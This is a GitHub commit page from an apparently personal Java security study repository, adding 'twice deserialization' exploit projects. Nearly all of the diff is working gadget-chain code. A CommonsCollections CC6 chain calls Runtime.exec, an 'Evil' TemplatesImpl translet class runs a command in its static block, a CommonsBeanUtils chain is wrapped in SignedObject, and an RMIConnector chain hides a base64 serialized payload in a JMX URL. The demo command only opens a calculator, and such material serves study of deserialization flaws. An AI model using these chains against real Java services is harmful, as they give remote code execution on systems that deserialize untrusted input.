Skip to content

Commit 5a928b2

Browse files
Drun1babyDrun1baby
committed
🆕二次反序列化
1 parent 274a6ae commit 5a928b2

14 files changed

Lines changed: 336 additions & 14 deletions

File tree

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/CommonsBeanUtils/pom.xml‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,5 +29,17 @@
2929
<version>1.2</version>
3030
</dependency>
3131
</dependencies>
32+
<build>
33+
<plugins>
34+
<plugin>
35+
<groupId>org.apache.maven.plugins</groupId>
36+
<artifactId>maven-compiler-plugin</artifactId>
37+
<configuration>
38+
<source>8</source>
39+
<target>8</target>
40+
</configuration>
41+
</plugin>
42+
</plugins>
43+
</build>
3244

3345
</project>

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/CommonsBeanUtils/src/main/java/Calc.java‎

Lines changed: 0 additions & 12 deletions
This file was deleted.

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java‎

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
import java.security.KeyPairGenerator;
1010
import java.security.Signature;
1111
import java.security.SignedObject;
12+
import java.util.Base64;
1213
import java.util.PriorityQueue;
1314

1415
public class CommonsBeanUtilsEXP {
@@ -19,7 +20,7 @@ public static void setFieldValue(Object obj,String fieldname,Object value)throws
1920
}
2021

2122
public static void main(String[] args) throws Exception {
22-
byte[] bytes= ClassPool.getDefault().get(Calc.class.getName()).toBytecode();
23+
byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
2324

2425
TemplatesImpl obj = new TemplatesImpl();
2526
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
@@ -36,8 +37,12 @@ public static void main(String[] args) throws Exception {
3637
PriorityQueue queue2 = getpayload(signedObject, "object");
3738

3839
//序列化
40+
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
41+
// ObjectOutputStream oos = new ObjectOutputStream(baos);
42+
// oos.writeObject(queue2);
43+
// oos.close();
44+
// System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
3945
serialize(queue2);
40-
//System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
4146

4247
//反序列化
4348
deserialize("ser.bin");

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
2+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
5+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
6+
7+
import java.io.IOException;
8+
9+
// 弹计算器的万能类
10+
public class Evil extends AbstractTranslet {
11+
static {
12+
try {
13+
Runtime.getRuntime().exec("calc");
14+
} catch (IOException e){
15+
e.printStackTrace();
16+
}
17+
}
18+
19+
@Override
20+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
21+
22+
}
23+
24+
@Override
25+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
26+
27+
}
28+
}

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/pom.xml‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<parent>
5+
<groupId>org.example</groupId>
6+
<artifactId>TwiceDeserialize</artifactId>
7+
<version>1.0-SNAPSHOT</version>
8+
</parent>
9+
<artifactId>RMIConnector</artifactId>
10+
<name>Archetype - RMIConnector</name>
11+
<url>http://maven.apache.org</url>
12+
<dependencies>
13+
<dependency>
14+
<groupId>commons-collections</groupId>
15+
<artifactId>commons-collections</artifactId>
16+
<version>3.2.1</version>
17+
</dependency>
18+
</dependencies>
19+
<build>
20+
<plugins>
21+
<plugin>
22+
<groupId>org.apache.maven.plugins</groupId>
23+
<artifactId>maven-compiler-plugin</artifactId>
24+
<configuration>
25+
<source>8</source>
26+
<target>8</target>
27+
</configuration>
28+
</plugin>
29+
</plugins>
30+
</build>
31+
</project>

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java‎

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
import org.apache.commons.collections.Transformer;
2+
import org.apache.commons.collections.functors.ChainedTransformer;
3+
import org.apache.commons.collections.functors.ConstantTransformer;
4+
import org.apache.commons.collections.functors.InvokerTransformer;
5+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
6+
import org.apache.commons.collections.map.LazyMap;
7+
8+
import java.io.*;
9+
import java.lang.reflect.Field;
10+
import java.util.HashMap;
11+
import java.util.Map;
12+
13+
public class CC6EXP {
14+
public static void main(String[] args) throws Exception {
15+
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
16+
Transformer[] transformers = new Transformer[]{
17+
new ConstantTransformer(Runtime.class),
18+
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
19+
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
20+
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
21+
new ConstantTransformer(1),
22+
};
23+
24+
// 先使用fakeTransformer防止本地命令执行
25+
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
26+
27+
Map innerMap = new HashMap();
28+
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
29+
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
30+
31+
Map objMap = new HashMap();
32+
objMap.put(tiedMapEntry, "value");
33+
outerMap.remove("key");
34+
35+
// 使用反射替换transformerChain的transformers
36+
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
37+
f.setAccessible(true);
38+
f.set(transformerChain, transformers);
39+
40+
serialize(objMap);
41+
42+
deserialize("ser.bin");
43+
}
44+
public static void serialize(Object obj) throws IOException {
45+
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
46+
oos.writeObject(obj);
47+
}
48+
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
49+
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
50+
Object obj = ois.readObject();
51+
return obj;
52+
}
53+
54+
}

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/src/main/java/Evil.java‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
2+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
5+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
6+
7+
import java.io.IOException;
8+
9+
// 弹计算器的万能类
10+
public class Evil extends AbstractTranslet {
11+
static {
12+
try {
13+
Runtime.getRuntime().exec("calc");
14+
} catch (IOException e){
15+
e.printStackTrace();
16+
}
17+
}
18+
19+
@Override
20+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
21+
22+
}
23+
24+
@Override
25+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
26+
27+
}
28+
}

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java‎

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
3+
import javassist.ClassPool;
4+
import javassist.CtClass;
5+
import javassist.CtConstructor;
6+
import org.apache.commons.collections.Transformer;
7+
import org.apache.commons.collections.functors.ChainedTransformer;
8+
import org.apache.commons.collections.functors.ConstantTransformer;
9+
import org.apache.commons.collections.functors.InvokerTransformer;
10+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
11+
import org.apache.commons.collections.map.LazyMap;
12+
13+
import javax.management.remote.JMXServiceURL;
14+
import javax.management.remote.rmi.RMIConnector;
15+
import java.io.*;
16+
import java.lang.reflect.Field;
17+
import java.util.Base64;
18+
import java.util.HashMap;
19+
import java.util.Map;
20+
21+
public class RMiConnectorEXP {
22+
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
23+
Field field = obj.getClass().getDeclaredField(fieldname);
24+
field.setAccessible(true);
25+
field.set(obj,value);
26+
}
27+
28+
public static HashMap getObject() throws Exception{
29+
30+
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
31+
Transformer[] transformers = new Transformer[]{
32+
new ConstantTransformer(Runtime.class),
33+
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
34+
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
35+
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
36+
new ConstantTransformer(1),
37+
};
38+
39+
// 先使用fakeTransformer防止本地命令执行
40+
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
41+
42+
Map innerMap = new HashMap();
43+
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
44+
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
45+
46+
HashMap objMap = new HashMap();
47+
objMap.put(tiedMapEntry, "value");
48+
outerMap.remove("key");
49+
50+
// 使用反射替换transformerChain的transformers
51+
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
52+
f.setAccessible(true);
53+
f.set(transformerChain, transformers);
54+
55+
return objMap;
56+
}
57+
58+
public static void main(String[] args) throws Exception {
59+
ByteArrayOutputStream tser = new ByteArrayOutputStream();
60+
ObjectOutputStream toser = new ObjectOutputStream(tser);
61+
toser.writeObject(getObject());
62+
toser.close();
63+
64+
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
65+
66+
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
67+
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
68+
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
69+
70+
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
71+
72+
HashMap<Object, Object> map = new HashMap<>();
73+
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
74+
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
75+
76+
HashMap<Object, Object> expMap = new HashMap<>();
77+
expMap.put(tiedMapEntry, "test");
78+
lazyMap.remove(rmiConnector);
79+
80+
setFieldValue(lazyMap,"factory", invokerTransformer);
81+
82+
//序列化
83+
// serialize(expMap);
84+
85+
//反序列化
86+
deserialize("ser.bin");
87+
}
88+
89+
public static void serialize(Object obj) throws IOException {
90+
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
91+
oos.writeObject(obj);
92+
}
93+
94+
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
95+
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
96+
Object obj = ois.readObject();
97+
return obj;
98+
}
99+
100+
}

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<archetype>
2+
<id>RMIConnector</id>
3+
<sources>
4+
<source>src/main/java/App.java</source>
5+
</sources>
6+
<testSources>
7+
<source>src/test/java/AppTest.java</source>
8+
</testSources>
9+
</archetype>

‎JavaSecurity/Trick/二次反序列化/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<groupId>$org.example</groupId>
5+
<artifactId>$RMIConnector</artifactId>
6+
<version>$1.0-SNAPSHOT</version>
7+
<dependencies>
8+
<dependency>
9+
<groupId>junit</groupId>
10+
<artifactId>junit</artifactId>
11+
<version>3.8.1</version>
12+
<scope>test</scope>
13+
</dependency>
14+
</dependencies>
15+
</project>

0 commit comments

Comments
 (0)